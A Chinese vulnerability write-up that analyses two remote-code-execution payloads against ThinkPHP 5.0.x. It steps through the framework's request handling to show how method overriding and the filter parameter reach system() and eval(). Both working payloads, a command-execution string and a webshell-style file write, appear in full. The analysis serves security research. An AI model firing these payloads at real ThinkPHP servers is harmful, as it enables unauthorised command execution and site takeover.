Thinkphp5.0.0-5.0.18 RCE分析
Thinkphp5.0.0-5.0.18 RCE分析
1.本文一共1732個字 26張圖 預(yù)計閱讀時間15分鐘2.本文作者Panacea 屬于Gcow安全團隊復(fù)眼小組 未經(jīng)過許可禁止轉(zhuǎn)載3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情況4.本篇文章十分適合漏洞安全研究人員進行交流學(xué)習(xí)5.若文章中存在說得不清楚或者錯誤的地方 歡迎師傅到公眾號后臺留言中指出 感激不盡
0x00.前言
本篇文章基于thinkphp5.*框架,分析兩種payload的構(gòu)成以及執(zhí)行流程
準(zhǔn)備
Windows+phpstudy
tp版本:thinkphp_5.0.5_full
php版本:5.4.45
phpstorm+xdebug
0x01.Payload1
開始分析
漏洞代碼位于:thinkphp/library/think/Request.php
首先放上payload:
s=whoami&_method=__construct&method=post&filter[]=system

method方法主要用來判斷請求方式,首先分析一下這段代碼的邏輯:通過$_SERVER和server方法獲取請求類型,如果不存在method變量值,那么就用表單請求類型偽裝變量覆蓋method的值,那么就可以利用這點調(diào)用其他函數(shù),預(yù)定義里面method為false,那么就會直接走下一步的是否存在表單覆蓋變量

從get方法中獲取var_method的值,值為_method

在config.php已經(jīng)有默認值,但我們構(gòu)造的payload里面?zhèn)髦?code style="white-space:pre-wrap;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">_method=__construct就是變量覆蓋,因此下一步會走到__construct方法
// 表單請求類型偽裝變量'var_method' => '_method',
繼續(xù)往下跟代碼,來到__construct構(gòu)造方法,將數(shù)組option進行遍歷操作,如果option的鍵名為該屬性的話,則將該同名的屬性賦值給\$option的鍵值,如果filter為空的空,就調(diào)用默認的default_filter值

filter方法:
public function filter($filter = null){if (is_null($filter)) {return $this->filter;} else {$this->filter = $filter;}}
而默認的過濾方法為空
// 默認全局過濾方法 用逗號分隔多個'default_filter' => '',
在構(gòu)造函數(shù)里面走完filter之后會走input方法,繼續(xù)跟進

繼續(xù)往下跟,這里的method已經(jīng)為post方法,所以進入param方法里的post是直接break的

下一步進入filtervalue方法中,可以看到我們要傳入的值已經(jīng)全部傳進了,call_user_func()函數(shù)將我們傳入的\$filter=system作為回調(diào)函數(shù)調(diào)用,也就達到了RCE的目的



0x02.Payload2
前提
該利用的重點在于在一定條件下可以使用::來調(diào)用非靜態(tài)方法
首先我們需要了解靜態(tài)屬性和靜態(tài)方法是如何調(diào)用的,靜態(tài)屬性一般使用**self::**進行調(diào)用,但是在該篇博客上面使用了::的騷操作,用::調(diào)用非靜態(tài)方法
<?phpclass People{static public $name = "pana";public $height = 170;static public function output(){//靜態(tài)方法調(diào)用靜態(tài)屬性使用selfprint self::$name."<br>";//靜態(tài)方法調(diào)用非靜態(tài)屬性(普通方法)需要先實例化對象$t = new People() ;print $t -> height."<br>";}public function say(){//普通方法調(diào)用靜態(tài)屬性使用selfprint self::$name."<br>";//普通方法調(diào)用普通屬性使用$thisprint $this -> height."<br>";}}$pa = new People();$pa -> output();$pa -> say();//可以使用::調(diào)用普通方法$pan = People::say();
可以看到最后的輸出,仍然輸出了name的值,但是卻沒有輸出height的值

原因在于:php里面使用雙冒號調(diào)用方法或者屬性時候有兩種情況:
直接使用::調(diào)用靜態(tài)方法或者屬性
::調(diào)用普通方法時,需要該方法內(nèi)部沒有調(diào)用非靜態(tài)的方法或者變量,也就是沒有使用$this,這也就是為什么輸出了name的值而沒有輸出height
了解上面這些,我們就可以開始下面的分析
0x03.分析
先放上流程圖(本人比較菜雞 所以只能用這種方法記錄下來流程)

首先放上payload
path=<?php file_put_contents('ccc.php','<?php phpinfo();?>'); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php::Display&method=GETpayload的分析
使用file_put_contents()寫入,使用變量覆蓋將_method的值設(shè)置為_construct,這里的set_error_handler是設(shè)置用戶自定義的錯誤處理程序,能夠繞過標(biāo)準(zhǔn)的php錯誤處理程序,接下來就是調(diào)用\think\view\driver\Php下面的Display方法,因為我們要利用里面的
eval('?>' . $content);完成RCE的目的

雖然會報錯,但是不影響寫入

首先從App.php開始,在routeCheck方法處打斷點
public static function routeCheck($request, array $config){$path = $request->path();$depr = $config['pathinfo_depr'];$result = false;// 路由檢測$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];if ($check) {// 開啟路由if (is_file(RUNTIME_PATH . 'route.php')) {// 讀取路由緩存$rules = include RUNTIME_PATH . 'route.php';if (is_array($rules)) {Route::rules($rules);}} else {$files = $config['route_config_file'];foreach ($files as $file) {if (is_file(CONF_PATH . $file . CONF_EXT)) {// 導(dǎo)入路由配置$rules = include CONF_PATH . $file . CONF_EXT;if (is_array($rules)) {Route::import($rules);}}}}
這一步主要是獲取$path的值,也就是我們要走的路由captcha

繼續(xù)往下走,$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);,跟進check方法,這里面的重點就是獲取method的值,$request->method()

這里是調(diào)用var_method,因為我們傳入了_method=__construct,也就是變量覆蓋,這些步驟和上面的幾乎一樣

那下一步繼續(xù)跟進__construct,走完construct函數(shù)后,可以看到大部分的值都是我們希望傳進去的,這時method的值為GET,也就是為什么payload里面要傳GET的原因

下一步要獲取當(dāng)前請求類型的路由規(guī)則
$rules = self::$rules[$method];可以看到這里的rule和route的值都發(fā)生了改變,路由值為\think\captcha\CaptchaController@index

接下來跟進routeCheck()方法,走完這個方法后,返回result值

接下來進入dispatch方法


接下來進入param方法,合并請求參數(shù)和url地址欄的參數(shù)
$this->param = array_merge($this->get(false), $vars, $this->route(false));
然后進入get方法,繼續(xù)跟進input方法


然后就會回到filterValue方法執(zhí)行任意方法


0x04.參考文章:
https://y4tacker.blog.csdn.net/article/details/115893304
https://y4tacker.blog.csdn.net/article/details/115893304
